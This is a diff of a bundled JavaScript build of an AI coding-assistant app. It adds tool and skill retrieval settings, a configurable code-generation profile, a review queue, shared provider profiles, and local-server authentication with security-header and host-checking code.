       isSymbolicLink: entry.isSymbolicLink()
     }));
   }
-  async exists(path26) {
+  async exists(path29) {
     try {
-      await fs14.access(path26);
+      await fs14.access(path29);
       return true;
     } catch {
       return false;
     }
   }
-  async mkdir(path26) {
-    await fs14.mkdir(path26, { recursive: true });
+  async mkdir(path29) {
+    await fs14.mkdir(path29, { recursive: true });
   }
 };
 
@@ -62967,11 +63391,25 @@ function wireChatBridge(services) {
     workspaceRoot,
     storageDir,
     logger,
+    // Read at worker spawn, so a changed variable applies to the next worker rather than being
+    // frozen at construction. Added to the allowlist in minimalPythonEnv, never a way past it.
+    ...services.sessionEnv !== void 0 ? { sessionEnv: services.sessionEnv } : {},
+    ...services.submitForReview !== void 0 ? {
+      submitForReview: (request) => services.submitForReview?.({ kind: "python-tool", ...request }) ?? Promise.resolve("")
+    } : {},
+    /*
+     * A resolver, not a generator: the tool's *parameters* change shape depending on whether one
+     * is configured — specification versus source — so the answer is needed when the tool list is
+     * built, not when it is called. Refreshed by `loadSettings`, which runs before every turn, so
+     * changing the profile mid-session takes effect on the next message.
+     */
+    generateSource: () => cachedCodeGenerator,
     // A tool created, updated or deleted during a chat changes both the Python tab and the
     // documentation corpus. `postPython` refreshes the tab and schedules the reindex.
     onToolsChanged: () => {
       void postPython();
       void postSchedules();
+      void postTools();
     }
   });
   const defaultSkillsDir = workspaceRoot !== void 0 ? path19.join(workspaceRoot, ".lightcode", "skills") : void 0;
@@ -63205,9 +63643,13 @@ function wireChatBridge(services) {
     postExpertSpend();
   }
   let cachedModeId;
+  let cachedCodeGenerator;
+  let cachedProgrammingProfileId;
   async function loadSettings() {
     const { config: config2 } = await configManager.load();
     cachedApprovals = config2.approvals?.[approvalsKey] ?? {};
+    cachedCodeGenerator = codeGeneratorFor(config2);
+    cachedProgrammingProfileId = config2.programmingProfileId;
     cachedModeId = config2.modeId;
     cachedMaxIterations = config2.maxIterations ?? 25;
     cachedAccentColor = config2.ui?.accentColor ?? "#22C55E";
@@ -63233,9 +63675,17 @@ function wireChatBridge(services) {
       maxIterations: cachedMaxIterations,
       accentColor: cachedAccentColor,
       expertColor: cachedExpertColor,
-      readRoots: cachedReadRoots
+      readRoots: cachedReadRoots,
+      ...cachedProgrammingProfileId !== void 0 ? { programmingProfileId: cachedProgrammingProfileId } : {},
+      ...guideCapability()
     });
   }
+  function guideCapability() {
+    return {
+      nativeGuide: ui.openWalkthrough !== void 0,
+      ...services.guideMediaBase !== void 0 ? { guideMediaBase: services.guideMediaBase } : {}
+    };
+  }
   const userGate = new WebviewApprovalGate(post);
   const approvalGate = new PolicyApprovalGate(userGate, () => cachedApprovals);
   let mcpJson = '{\n  "mcpServers": {}\n}';
@@ -63248,6 +63698,7 @@ function wireChatBridge(services) {
     onStateChanged: () => {
       postMcp();
       void postSchedules();
+      void postTools();
       scheduleDocsReindex("MCP tools changed");
     }
   }, logger, () => cachedApprovals.allowedTools ?? []);
@@ -63265,7 +63716,7 @@ function wireChatBridge(services) {
       platform: process.platform === "win32" ? "win32" : "posix"
     });
   }
-  function currentToolRegistry(expert, search, codebase, docs, dispatcher = false) {
+  function currentToolRegistry(expert, search, codebase, docs, dispatcher = false, hideSkills = false) {
     const combined = new ToolRegistry();
     for (const tool of builtinTools.list())
       combined.register(tool);
@@ -63295,7 +63746,13 @@ function wireChatBridge(services) {
       }
     }));
     if (skillsDir !== void 0) {
-      const context = { skillsDir, onChanged: refreshSkills };
+      const context = {
+        skillsDir,
+        onChanged: refreshSkills,
+        ...services.submitForReview !== void 0 ? {
+          submitForReview: (request) => services.submitForReview?.({ kind: "skill", ...request }) ?? Promise.resolve("")
+        } : {}
+      };
       combined.register(createWriteSkillTool(context));
       combined.register(createDeleteSkillTool(context));
     }
@@ -63311,8 +63768,12 @@ function wireChatBridge(services) {
     if (codebase !== void 0) {
       combined.register(createSearchCodebaseTool({ ...codebase, observer: searchLog }));
     }
-    if (dispatcher) {
+    const hasHiddenTools = dispatcher && combined.dispatchOnlyList().length > 0;
+    const hasHiddenSkills = hideSkills && skills.length > 0;
+    if (hasHiddenTools) {
       combined.register(createCallToolTool());
+    }
+    if (dispatcher && (hasHiddenTools || hasHiddenSkills)) {
       combined.register(createForgetDocsTool());
       combined.register(createSearchDocsTool({
         // Resolved per call, so a tool registered later in this same function is still
@@ -63522,12 +63983,26 @@ function wireChatBridge(services) {
       await refreshSkills();
       const activeMode = findMode(config2.modeId);
       const scheduledGuidance = schedule === void 0 ? void 0 : scheduledRunGuidance(schedule, filterToolsForSchedule(currentToolRegistry(void 0, void 0, void 0, void 0, false).list(), schedule).map((tool) => tool.name).filter((name) => name !== "attempt_completion"));
+      const skillsSearchable = skillRetrievalEnabled(config2.retrieval) && schedule === void 0;
+      const turnSkills = schedule === void 0 ? skills : skillsForSchedule(skills, schedule.allowedSkills);
       const desiredPrompt = buildSystemPrompt(workspaceRoot, {
         model: profile.model,
         providerLabel: profile.label,
         expertAvailable: expertCliInfo !== void 0,
-        skills: renderSkillsForPrompt(skills),
+        /*
+         * Either the whole list or a count and an instruction to search — never both, and
+         * never neither. `renderSkillsHintForPrompt` explains why the count stays.
+         */
+        skills: skillsSearchable ? renderSkillsHintForPrompt(skills.length) : renderSkillsForPrompt(turnSkills),
+        skillsSearchable,
         canWriteSkills: skillsDir !== void 0,
+        /*
+         * Read from config rather than from the registry, because the prompt is built before the
+         * registry is. Only the *off* case is claimed: "on but uv is missing" leaves the model
+         * equally toolless, but the Python tab reports that with the actual reason, and telling
+         * the user to switch on something already switched on would be worse than saying nothing.
+         */
+        pythonToolsDisabled: config2.python?.dynamicTools !== "on",
         /*
          * Junior mode's instructions are worse than useless without the expert to delegate
          * to: the model would be told to consult something it has no tool for. The picker
@@ -63556,6 +64031,9 @@ function wireChatBridge(services) {
         denylist,
         readFiles,
         readRoots: cachedReadRoots,
+        // Resolved per turn by the host, so an edit applies to the next command rather than
+        // needing a new session. Absent in the extension, where there is nothing to resolve.
+        ...services.sessionEnv !== void 0 ? { sessionEnv: services.sessionEnv() } : {},
         /*
          * Omitted for a scheduled run: there is nobody to answer, and a run that could grant
          * itself new filesystem access would defeat the point of its allowlist.
@@ -63618,7 +64096,8 @@ function wireChatBridge(services) {
          * behind a search that could never find them.
          */
         search !== void 0 && embedder !== void 0 && docsIndex !== void 0 ? { searcher: search.searcher, embedder, index: docsIndex } : void 0,
-        config2.retrieval?.dispatcher === true
+        dispatcherEnabled(config2.retrieval),
+        skillsSearchable
       );
       const turnRegistry = schedule !== void 0 ? registryForSchedule(fullRegistry.list(), schedule) : fullRegistry;
       if (schedule !== void 0) {
@@ -63629,6 +64108,9 @@ function wireChatBridge(services) {
           post({ type: "contextUsage", usage: { ...breakdown, supersededCount, compactedCount } });
         },
         onCompacted: (summarisedCount) => post({ type: "compacted", summarisedCount }),
+        onNudgedToContinue: () => {
+          logger.warn("the model described an action without calling a tool; asked it to continue");
+        },
         onQueuedMessageConsumed: (text2) => {
           post({ type: "queuedMessageConsumed", text: text2 });
           cumulativeText = "";
@@ -64117,15 +64599,22 @@ function wireChatBridge(services) {
     }
   }
   let indexingAbort;
+  async function saveRetrieval(patch) {
+    const { config: config2 } = await configManager.load();
+    await configManager.save("user", { retrieval: { ...config2.retrieval, ...patch } });
+  }
   async function postDispatcher() {
     const { config: config2 } = await configManager.load();
-    const enabled = config2.retrieval?.dispatcher === true;
-    const hidden = currentToolRegistry(void 0, void 0, void 0, void 0, true).dispatchOnlyList().length;
+    await refreshSkills();
+    const enabled = dispatcherEnabled(config2.retrieval);
+    const hidden = currentToolRegistry(void 0, void 0, void 0, void 0, true, true).dispatchOnlyList().length;
     const index = docsIndexName(config2);
     post({
       type: "dispatcher",
       enabled,
       hiddenTools: hidden,
+      skills: skillRetrievalEnabled(config2.retrieval),
+      hiddenSkills: skills.length,
       ...index !== void 0 ? { docsIndex: index } : {}
     });
   }
@@ -64737,6 +65226,28 @@ function wireChatBridge(services) {
       post({ type: "error", message: error51 instanceof Error ? error51.message : String(error51) });
     }
   }
+  function codeGeneratorFor(config2) {
+    const id = config2.programmingProfileId;
+    if (id === void 0 || id.length === 0)
+      return void 0;
+    const profile = config2.profiles?.find((candidate) => candidate.id === id);
+    if (profile === void 0) {
+      logger.warn(`programming provider "${id}" is configured but no such profile exists; the chat model will write tool source`);
+      return void 0;
+    }
+    return async (request) => {
+      const provider = createChatProvider(profile, httpClient, authStrategyFor(config2, profile), logger);
+      let text = "";
+      for await (const chunk of provider.streamChat([{ role: "user", content: buildCodeGenerationPrompt(request) }], {
+        // No tools offered: it is being asked for a file, and offering tools invites it to use one.
+        ...request.signal !== void 0 ? { signal: request.signal } : {}
+      })) {
+        if (chunk.type === "text")
+          text += chunk.text;
+      }
+      return { source: text, producedBy: profile.label };
+    };
+  }
   async function postSettings() {
     await loadSettings();
     post({
@@ -64746,7 +65257,8 @@ function wireChatBridge(services) {
       maxIterations: cachedMaxIterations,
       accentColor: cachedAccentColor,
       expertColor: cachedExpertColor,
-      readRoots: cachedReadRoots
+      readRoots: cachedReadRoots,
+      ...guideCapability()
     });
   }
   async function handleAlwaysAllow(id, scope) {
@@ -65033,6 +65545,16 @@ function wireChatBridge(services) {
       void handleSetMode(message.modeId);
     } else if (message.type === "setMaxIterations") {
       void configManager.save("user", { maxIterations: message.value }).then(() => postSettings()).catch((error51) => post({ type: "error", message: String(error51) }));
+    } else if (message.type === "setProgrammingProfile") {
+      void configManager.load().then(async ({ config: config2 }) => {
+        const next = { ...config2 };
+        if (message.id.length === 0)
+          delete next.programmingProfileId;
+        else
+          next.programmingProfileId = message.id;
+        await configManager.save("user", next);
+        await postSettings();
+      }).catch((error51) => post({ type: "error", message: String(error51) }));
     } else if (message.type === "setReadRoots") {
       void configManager.save("user", {
         filesystem: { readRoots: message.roots.map((root) => root.trim()).filter((root) => root.length > 0) }
@@ -65100,11 +65622,17 @@ function wireChatBridge(services) {
     } else if (message.type === "clearSearchLog") {
       searchLog.clear();
     } else if (message.type === "setDispatcher") {
-      void configManager.save("user", { retrieval: { dispatcher: message.enabled } }).then(() => {
+      void saveRetrieval({ dispatcher: message.enabled }).then(() => {
         void postDispatcher();
         if (message.enabled)
           scheduleDocsReindex("dispatcher enabled");
       }).catch((error51) => post({ type: "error", message: String(error51) }));
+    } else if (message.type === "setSkillRetrieval") {
+      void saveRetrieval({ skills: message.enabled }).then(() => {
+        void postDispatcher();
+        if (message.enabled)
+          scheduleDocsReindex("skill retrieval enabled");
+      }).catch((error51) => post({ type: "error", message: String(error51) }));
     } else if (message.type === "startIndexing") {
       void handleStartIndexing();
     } else if (message.type === "cancelIndexing") {
@@ -65113,6 +65641,10 @@ function wireChatBridge(services) {
       void handleSaveEmbedder(message.profileId, message.model, message.dimensions, message.indexName, message.indexPrefix);
     } else if (message.type === "requestEmbedderModels") {
       void handleRequestEmbedderModels(message.profileId);
+    } else if (message.type === "openWalkthrough") {
+      void ui.openWalkthrough?.();
+    } else if (message.type === "requestTools") {
+      void postTools();
     } else if (message.type === "requestSchedules") {
       void postSchedules();
     } else if (message.type === "saveSchedule") {
@@ -65266,16 +65798,42 @@ ${entry.content}`);
   function allToolsForPicker() {
     return currentToolRegistry(void 0, void 0, void 0, void 0, false).list().filter((tool) => !NEVER_AVAILABLE_TO_SCHEDULES.includes(tool.name)).map((tool) => ({ name: tool.name, description: tool.description, group: tool.group })).sort((a, b) => a.name.localeCompare(b.name));
   }
+  async function postTools() {
+    const { config: config2 } = await configManager.load();
+    const dispatcher = config2.retrieval?.dispatcher === true;
+    const registry2 = currentToolRegistry(void 0, void 0, void 0, void 0, dispatcher);
+    const advertised = new Set(registry2.promptList().map((tool) => tool.name));
+    const pythonNames = new Set(python.tools().map((tool) => tool.name));
+    const mcpNames = new Set(mcp.enabledTools().map((tool) => tool.name));
+    post({
+      type: "tools",
+      dispatcher,
+      tools: registry2.list().map((tool) => {
+        const server = mcpNames.has(tool.name) ? parseNamespacedToolName(tool.name)?.serverName : void 0;
+        const source = pythonNames.has(tool.name) ? "python" : mcpNames.has(tool.name) ? "mcp" : "built-in";
+        return {
+          name: tool.name,
+          description: tool.description,
+          group: tool.group,
+          source,
+          ...server !== void 0 ? { server } : {},
+          advertised: advertised.has(tool.name)
+        };
+      }).sort((a, b) => a.name.localeCompare(b.name))
+    });
+  }
   async function loadSchedules() {
     const { config: config2 } = await configManager.load();
     return config2.schedules ?? {};
   }
   async function postSchedules() {
+    await refreshSkills();
     const schedules = await loadSchedules();
     post({
       type: "schedules",
       schedules: Object.values(schedules).sort((a, b) => a.name.localeCompare(b.name)),
       tools: allToolsForPicker(),
+      skills: skills.map((skill) => ({ name: skill.name, description: skill.description })),
       ...runningScheduleId !== void 0 ? { runningId: runningScheduleId } : {},
       scheduler: {
         running: scheduleTimer !== void 0,
@@ -66030,7 +66588,10 @@ var executeCommandTool = {
   parametersSchema: paramsSchema10,
   async execute(params, context) {
     const cwd = params.cwd !== void 0 ? params.cwd : context.workspaceRoot;
-    const proc = context.terminal.run(params.command, { cwd });
+    const proc = context.terminal.run(params.command, {
+      cwd,
+      ...context.sessionEnv !== void 0 ? { env: context.sessionEnv } : {}
+    });
     let output = "";
     let truncated = false;
     proc.onData((chunk) => {
@@ -66167,10 +66728,10 @@ function readSmall(raw, params) {
   const end = params.limit !== void 0 ? start + params.limit : lines.length;
   return number4(lines.slice(start, end), start + 1);
 }
-async function readLarge(fs20, realPath, params, size) {
+async function readLarge(fs23, realPath, params, size) {
   const human = formatBytes(size);
   if (params.tail !== void 0) {
-    const part = await readTail(fs20, realPath, size, params.tail);
+    const part = await readTail(fs23, realPath, size, params.tail);
     return [
       `${human} file \u2014 last ${String(part.lines.length)} lines.`,
       /*
@@ -66185,7 +66746,7 @@ async function readLarge(fs20, realPath, params, size) {
   }
   if (params.offset !== void 0) {
     const limit = params.limit ?? DEFAULT_LARGE_LIMIT;
-    const part = await readLineWindow(fs20, realPath, size, params.offset, limit);
+    const part = await readLineWindow(fs23, realPath, size, params.offset, limit);
     const shown = part.lines.length;
     return [
       `${human} file \u2014 lines ${String(params.offset)}\u2013${String(params.offset + shown - 1)}${part.hasMoreAfter ? ", more follows" : " (end of file)"}.`,
@@ -66193,7 +66754,7 @@ async function readLarge(fs20, realPath, params, size) {
       number4(part.lines, params.offset)
     ].join("\n");
   }
-  const total = await countLines(fs20, realPath, size);
+  const total = await countLines(fs23, realPath, size);
   return [
     `${realPathName(realPath)} is ${human} (${total.toLocaleString()} lines) \u2014 too large to read at once.`,
     "",
@@ -66382,9 +66943,167 @@ function createDefaultToolRegistry() {
   return registry2;
 }
 
+// src/sharedConfig.ts
+var EMPTY = { variables: [], adminIds: [], profiles: [] };
+var SharedConfigStore = class {
+  constructor(filePath) {
+    this.filePath = filePath;
+  }
+  filePath;
+  cache;
+  async load() {
+    if (this.cache !== void 0) return this.cache;
+    try {
+      const raw = JSON.parse(await fs17.readFile(this.filePath, "utf8"));
+      const variables = sessionVariablesSchema.safeParse(raw["variables"]);
+      const adminIds = Array.isArray(raw["adminIds"]) ? raw["adminIds"].filter((id) => typeof id === "string") : [];
+      const profiles = external_exports.array(providerProfileSchema).safeParse(raw["profiles"]);
+      const defaultProfileId = typeof raw["defaultProfileId"] === "string" ? raw["defaultProfileId"] : void 0;
+      const defaultProgrammingProfileId = typeof raw["defaultProgrammingProfileId"] === "string" ? raw["defaultProgrammingProfileId"] : void 0;
+      this.cache = {
+        variables: variables.success ? variables.data : [],
+        adminIds,
+        profiles: profiles.success ? profiles.data : [],
+        ...defaultProfileId !== void 0 ? { defaultProfileId } : {},
+        ...defaultProgrammingProfileId !== void 0 ? { defaultProgrammingProfileId } : {}
+      };
+    } catch {
+      this.cache = { ...EMPTY };
+    }
+    return this.cache;
+  }
+  async save(next) {
+    const current = await this.load();
+    const merged = { ...current, ...next };
+    await fs17.mkdir(path22.dirname(this.filePath), { recursive: true });
+    const temporary = `${this.filePath}.tmp`;
+    await fs17.writeFile(temporary, JSON.stringify(merged, null, 2), { encoding: "utf8", mode: 384 });
+    await fs17.rename(temporary, this.filePath);
+    this.cache = merged;
+    return merged;
+  }
+};
+
+// src/server.ts
+import fs22 from "node:fs/promises";
+import {
+  createServer
+} from "node:http";
+import path27 from "node:path";
+
+// src/identity.ts
+import crypto5 from "node:crypto";
+var SingleUserIdentity = class _SingleUserIdentity {
+  describe = "single user (local)";
+  static PRINCIPAL = { id: "local", displayName: "Local user" };
+  /** Long-lived, minted per server run, only ever sent in an `Authorization` header. */
+  sessionToken = crypto5.randomBytes(32).toString("base64url");
+  /**
+   * Single-use and short-lived, because it travels in the launch URL's fragment where it
+   * can end up in shell history or a terminal scrollback (§14).
+   */
+  handoffToken = crypto5.randomBytes(32).toString("base64url");
+  handoffExpiresAt = Date.now() + 1e4;
+  get launchToken() {
+    if (this.handoffToken === void 0) throw new Error("handoff token already consumed");
+    return this.handoffToken;
+  }
+  /**
+   * Exchanges the handoff token for the session token, once.
+   *
+   * Cleared on the first attempt whether or not it matched: a wrong guess is either a bug
+   * or an attack, and in both cases the right answer is that this token is now spent.
+   */
+  redeemHandoff(presented) {
+    const expected = this.handoffToken;
+    const expiresAt = this.handoffExpiresAt;
+    this.handoffToken = void 0;
+    if (expected === void 0 || Date.now() > expiresAt) return void 0;
+    return timingSafeEquals(presented, expected) ? this.sessionToken : void 0;
+  }
+  async authenticate(request) {
+    const header = request.headers.authorization;
+    if (header === void 0 || !header.startsWith("Bearer ")) return void 0;
+    return timingSafeEquals(header.slice("Bearer ".length), this.sessionToken) ? _SingleUserIdentity.PRINCIPAL : void 0;
+  }
+};
+function timingSafeEquals(a, b) {
+  const left = Buffer.from(a);
+  const right = Buffer.from(b);
+  if (left.length !== right.length) return false;
+  return crypto5.timingSafeEqual(left, right);
+}
+function storageKeyFor(principal) {
+  return crypto5.createHash("sha256").update(principal.id).digest("hex").slice(0, 32);
+}
+
+// src/security.ts
+var SAFE_METHODS = /* @__PURE__ */ new Set(["GET", "HEAD", "OPTIONS"]);
+function checkRequest(request, policy, options) {
+  const host = request.headers.host;
+  if (host === void 0 || !policy.allowedHosts.includes(host.toLowerCase())) {
+    return {
+      status: 421,
+      reason: `Host "${host ?? "(absent)"}" is not one this server answers to. This is what blocks DNS rebinding.`
+    };
+  }
+  const origin = request.headers.origin;
+  if (origin !== void 0 && !policy.allowedOrigins.includes(origin.toLowerCase())) {
+    return { status: 403, reason: `Origin "${origin}" is not allowed.` };
+  }
+  const fetchSite = request.headers["sec-fetch-site"];
+  if (typeof fetchSite === "string" && fetchSite !== "same-origin" && fetchSite !== "none") {
+    return { status: 403, reason: `Cross-site request (Sec-Fetch-Site: ${fetchSite}) is not allowed.` };
+  }
+  const method = (request.method ?? "GET").toUpperCase();
+  if (options.requireOrigin && !SAFE_METHODS.has(method) && origin === void 0) {
+    return { status: 403, reason: `Missing Origin header on a ${method}.` };
+  }
+  return void 0;
+}
+function securityHeaders() {
+  return {
+    "Content-Security-Policy": [
+      "default-src 'none'",
+      "script-src 'self'",
+      // The UI styles through the CSSOM rather than inline attributes, but the browser
+      // build also needs a stylesheet for the page shell.
+      "style-src 'self' 'unsafe-inline'",
+      "img-src 'self' data:",
+      "font-src 'self'",
+      "connect-src 'self'",
+      "frame-ancestors 'none'",
+      "base-uri 'none'",
+      "form-action 'none'"
+    ].join("; "),
+    "X-Content-Type-Options": "nosniff",
+    "Referrer-Policy": "no-referrer",
+    // Nothing here needs a camera, a microphone or a location.
+    "Permissions-Policy": "camera=(), microphone=(), geolocation=(), interest-cohort=()",
+    "Cache-Control": "no-store"
+    // Deliberately no Access-Control-Allow-Origin: no other origin may read these replies.
+  };
+}
+function reject(response, rejected) {
+  response.writeHead(rejected.status, { "Content-Type": "text/plain", ...securityHeaders() });
+  response.end(rejected.reason);
+}
+async function readJsonBody(request, maxBytes = 32 * 1024 * 1024) {
+  const chunks = [];
+  let total = 0;
+  for await (const chunk of request) {
+    const buffer = chunk;
+    total += buffer.length;
+    if (total > maxBytes) throw new Error("Request body too large.");
+    chunks.push(buffer);
+  }
+  if (total === 0) return void 0;
+  return JSON.parse(Buffer.concat(chunks).toString("utf8"));
+}
+
 // src/fileSecretStore.ts
-import fs17 from "node:fs/promises";
-import path22 from "node:path";
+import fs18 from "node:fs/promises";
+import path23 from "node:path";
 var FileSecretStore = class {
   constructor(filePath) {
     this.filePath = filePath;
@@ -66396,7 +67115,7 @@ var FileSecretStore = class {
   async load() {
     if (this.cache !== void 0) return this.cache;
     try {
-      const raw = await fs17.readFile(this.filePath, "utf8");
+      const raw = await fs18.readFile(this.filePath, "utf8");
       const parsed = JSON.parse(raw);
       this.cache = typeof parsed === "object" && parsed !== null ? parsed : {};
     } catch {
@@ -66408,10 +67127,10 @@ var FileSecretStore = class {
     this.queue = this.queue.then(async () => {
       const secrets = await this.load();
       mutate(secrets);
-      await fs17.mkdir(path22.dirname(this.filePath), { recursive: true });
+      await fs18.mkdir(path23.dirname(this.filePath), { recursive: true });
       const temp = `${this.filePath}.${process.pid}.tmp`;
-      await fs17.writeFile(temp, JSON.stringify(secrets, null, 2), { encoding: "utf8", mode: 384 });
-      await fs17.rename(temp, this.filePath);
+      await fs18.writeFile(temp, JSON.stringify(secrets, null, 2), { encoding: "utf8", mode: 384 });
+      await fs18.rename(temp, this.filePath);
     });
     return this.queue;
   }
@@ -66440,7 +67159,233 @@ var FileSecretStore = class {
   }
 };
 
+// src/reviewQueue.ts
+import crypto6 from "node:crypto";
+import fs19 from "node:fs/promises";
+import path24 from "node:path";
+var ReviewQueue = class {
+  constructor(filePath) {
+    this.filePath = filePath;
+  }
+  filePath;
+  cache;
+  async load() {
+    if (this.cache !== void 0) return this.cache;
+    try {
+      const parsed = JSON.parse(await fs19.readFile(this.filePath, "utf8"));
+      this.cache = Array.isArray(parsed) ? parsed : [];
+    } catch {
+      this.cache = [];
+    }
+    return this.cache;
+  }
+  async persist(items) {
+    this.cache = items;
+    await fs19.mkdir(path24.dirname(this.filePath), { recursive: true });
+    const temporary = `${this.filePath}.tmp`;
+    await fs19.writeFile(temporary, JSON.stringify(items, null, 2), { encoding: "utf8", mode: 384 });
+    await fs19.rename(temporary, this.filePath);
+  }
+  async list() {
+    return [...await this.load()];
+  }
+  async pending() {
+    return (await this.load()).filter((item) => item.status === "pending");
+  }
+  async submit(request) {
+    const items = await this.load();
+    const superseded = items.findIndex(
+      (item) => item.status === "pending" && item.kind === request.kind && item.name === request.name
+    );
+    const queued = {
+      ...request,
+      id: crypto6.randomUUID(),
+      submittedAt: Date.now(),
+      status: "pending"
+    };
+    if (superseded === -1) items.push(queued);
+    else items[superseded] = queued;
+    await this.persist(items);
+    return queued;
+  }
+  async decide(id, decision) {
+    const items = await this.load();
+    const item = items.find((candidate) => candidate.id === id);
+    if (item === void 0 || item.status !== "pending") return void 0;
+    item.status = decision.approved ? "approved" : "rejected";
+    item.decidedBy = decision.by;
+    item.decidedAt = Date.now();
+    if (decision.reason !== void 0 && decision.reason.length > 0) item.reason = decision.reason;
+    await this.persist(items);
+    return item;
+  }
+  /**
+   * Drops decided items older than the cutoff.
+   *
+   * Kept for a while rather than deleted on decision: "who approved this and when" is the question
+   * a review queue exists to be able to answer afterwards, and the audit log records the decision
+   * but not the source that was read.
+   */
+  async prune(olderThanMs) {
+    const cutoff = Date.now() - olderThanMs;
+    const items = await this.load();
+    const kept = items.filter((item) => item.status === "pending" || (item.decidedAt ?? 0) > cutoff);
+    if (kept.length !== items.length) await this.persist(kept);
+  }
+};
+
+// src/sharedProfiles.ts
+var SHARED_PREFIX = "shared:";
+function isSharedProfileId(id) {
+  return id.startsWith(SHARED_PREFIX);
+}
+function toSharedProfileId(id) {
+  return `${SHARED_PREFIX}${id}`;
+}
+function isSharedSecretRef(ref) {
+  return ref.startsWith(`profile:${SHARED_PREFIX}`);
+}
+function presentSharedProfiles(profiles) {
+  return profiles.map((profile) => ({
+    ...profile,
+    id: toSharedProfileId(profile.id),
+    ...profile.auth.type === "apiKey" && profile.auth.apiKeyRef !== void 0 ? { auth: { ...profile.auth, apiKeyRef: `profile:${toSharedProfileId(profile.id)}:apiKey` } } : {}
+  }));
+}
+var SharedProfileConfigStore = class {
+  constructor(inner, shared) {
+    this.inner = inner;
+    this.shared = shared;
+  }
+  inner;
+  shared;
+  async read(scope) {
+    const raw = await this.inner.read(scope);
+    if (scope !== "user") return raw;
+    const shared = this.shared();
+    const presented = presentSharedProfiles(shared.profiles);
+    if (presented.length === 0) return raw;
+    let parsed;
+    try {
+      parsed = raw === void 0 ? {} : JSON.parse(raw);
+    } catch {
+      return raw;
+    }
+    const own = Array.isArray(parsed["profiles"]) ? parsed["profiles"] : [];
+    const merged = [...presented, ...own.filter((profile) => !isSharedProfileId(profile.id))];
+    const activeId = typeof parsed["activeProfileId"] === "string" ? parsed["activeProfileId"] : void 0;
+    const resolvedActive = activeId !== void 0 && merged.some((profile) => profile.id === activeId) ? activeId : shared.defaultProfileId !== void 0 && merged.some((profile) => profile.id === toSharedProfileId(shared.defaultProfileId ?? "")) ? toSharedProfileId(shared.defaultProfileId) : activeId;
+    const ownProgramming = typeof parsed["programmingProfileId"] === "string" ? parsed["programmingProfileId"] : void 0;
+    const sharedProgramming = shared.defaultProgrammingProfileId !== void 0 ? toSharedProfileId(shared.defaultProgrammingProfileId) : void 0;
+    const resolvedProgramming = ownProgramming !== void 0 && merged.some((profile) => profile.id === ownProgramming) ? ownProgramming : sharedProgramming !== void 0 && merged.some((profile) => profile.id === sharedProgramming) ? sharedProgramming : ownProgramming;
+    return JSON.stringify({
+      ...parsed,
+      profiles: merged,
+      ...resolvedActive !== void 0 ? { activeProfileId: resolvedActive } : {},
+      ...resolvedProgramming !== void 0 ? { programmingProfileId: resolvedProgramming } : {}
+    });
+  }
+  async write(scope, contents) {
+    if (scope !== "user") return this.inner.write(scope, contents);
+    let parsed;
+    try {
+      parsed = JSON.parse(contents);
+    } catch {
+      return this.inner.write(scope, contents);
+    }
+    if (Array.isArray(parsed["profiles"])) {
+      parsed["profiles"] = parsed["profiles"].filter(
+        (profile) => !isSharedProfileId(profile.id)
+      );
+    }
+    return this.inner.write(scope, JSON.stringify(parsed, null, 2));
+  }
+  watch(scope, onChange) {
+    return this.inner.watch(scope, onChange);
+  }
+};
+var RoutedSecretStore = class {
+  constructor(own, shared) {
+    this.own = own;
+    this.shared = shared;
+  }
+  own;
+  shared;
+  storeFor(key) {
+    return isSharedSecretRef(key) ? this.shared : this.own;
+  }
+  async get(key) {
+    return this.storeFor(key).get(key);
+  }
+  async set(key, value) {
+    return this.storeFor(key).set(key, value);
+  }
+  async delete(key) {
+    return this.storeFor(key).delete(key);
+  }
+  /**
+   * Clears the user's own only.
+   *
+   * "Clear all stored secrets" is offered to every user, and an administrator's key is not theirs
+   * to destroy — one person tidying up would otherwise break the gateway for everybody. An
+   * administrator clears the shared ones from the shared store.
+   */
+  async clear() {
+    return this.own.clear();
+  }
+  backendName() {
+    return this.own.backendName();
+  }
+};
+
+// src/userVariables.ts
+import fs20 from "node:fs/promises";
+import { readFileSync } from "node:fs";
+import path25 from "node:path";
+var UserVariableStore = class {
+  constructor(filePath) {
+    this.filePath = filePath;
+  }
+  filePath;
+  /**
+   * Synchronous, because it is read on the path that builds a command's environment and an
+   * `await` there would make every tool call wait on a file. It is a few hundred bytes.
+   */
+  read() {
+    return readVariablesFile(this.filePath);
+  }
+  async save(variables) {
+    const parsed = sessionVariablesSchema.parse(variables);
+    await fs20.mkdir(path25.dirname(this.filePath), { recursive: true });
+    const temporary = `${this.filePath}.tmp`;
+    await fs20.writeFile(temporary, JSON.stringify({ variables: parsed }, null, 2), {
+      encoding: "utf8",
+      mode: 384
+    });
+    await fs20.rename(temporary, this.filePath);
+    return parsed;
+  }
+};
+function userVariableStoreFor(dataDir, principal) {
+  return new UserVariableStore(userVariablesPath(path25.join(dataDir, "users", storageKeyFor(principal))));
+}
+function userVariablesPath(userDir) {
+  return path25.join(userDir, "variables.json");
+}
+function readVariablesFile(filePath) {
+  try {
+    const raw = JSON.parse(readFileSync(filePath, "utf8"));
+    const parsed = sessionVariablesSchema.safeParse(raw["variables"]);
+    return parsed.success ? parsed.data : [];
+  } catch {
+    return [];
+  }
+}
+
 // src/session.ts
+import { watch as fsWatch } from "node:fs";
+import fs21 from "node:fs/promises";
+import path26 from "node:path";
 var FileConfigStore = class {
   constructor(userConfigPath, workspaceRoot) {
     this.userConfigPath = userConfigPath;
@@ -66456,7 +67401,7 @@ var FileConfigStore = class {
     const filePath = this.pathFor(scope);
     if (filePath === void 0) return void 0;
     try {
-      return await fs18.readFile(filePath, "utf8");
+      return await fs21.readFile(filePath, "utf8");
     } catch (error51) {
       if (error51.code === "ENOENT") return void 0;
       throw error51;
@@ -66465,8 +67410,8 @@ var FileConfigStore = class {
   async write(scope, contents) {
     const filePath = this.pathFor(scope);
     if (filePath === void 0) throw new Error(`Cannot write ${scope} config: no workspace is open`);
-    await fs18.mkdir(path23.dirname(filePath), { recursive: true });
-    await fs18.writeFile(filePath, contents, { encoding: "utf8", mode: 384 });
+    await fs21.mkdir(path26.dirname(filePath), { recursive: true });
+    await fs21.writeFile(filePath, contents, { encoding: "utf8", mode: 384 });
   }
   watch(scope, onChange) {
     const filePath = this.pathFor(scope);
@@ -66474,8 +67419,8 @@ var FileConfigStore = class {
     };
     let watcher;
     try {
-      watcher = fsWatch(path23.dirname(filePath), (_event, filename) => {
-        if (filename === path23.basename(filePath)) onChange();
+      watcher = fsWatch(path26.dirname(filePath), (_event, filename) => {
+        if (filename === path26.basename(filePath)) onChange();
       });
     } catch {
     }
@@ -66490,7 +67435,7 @@ var FileWorkspaceState = class {
   values = {};
   async load() {
     try {
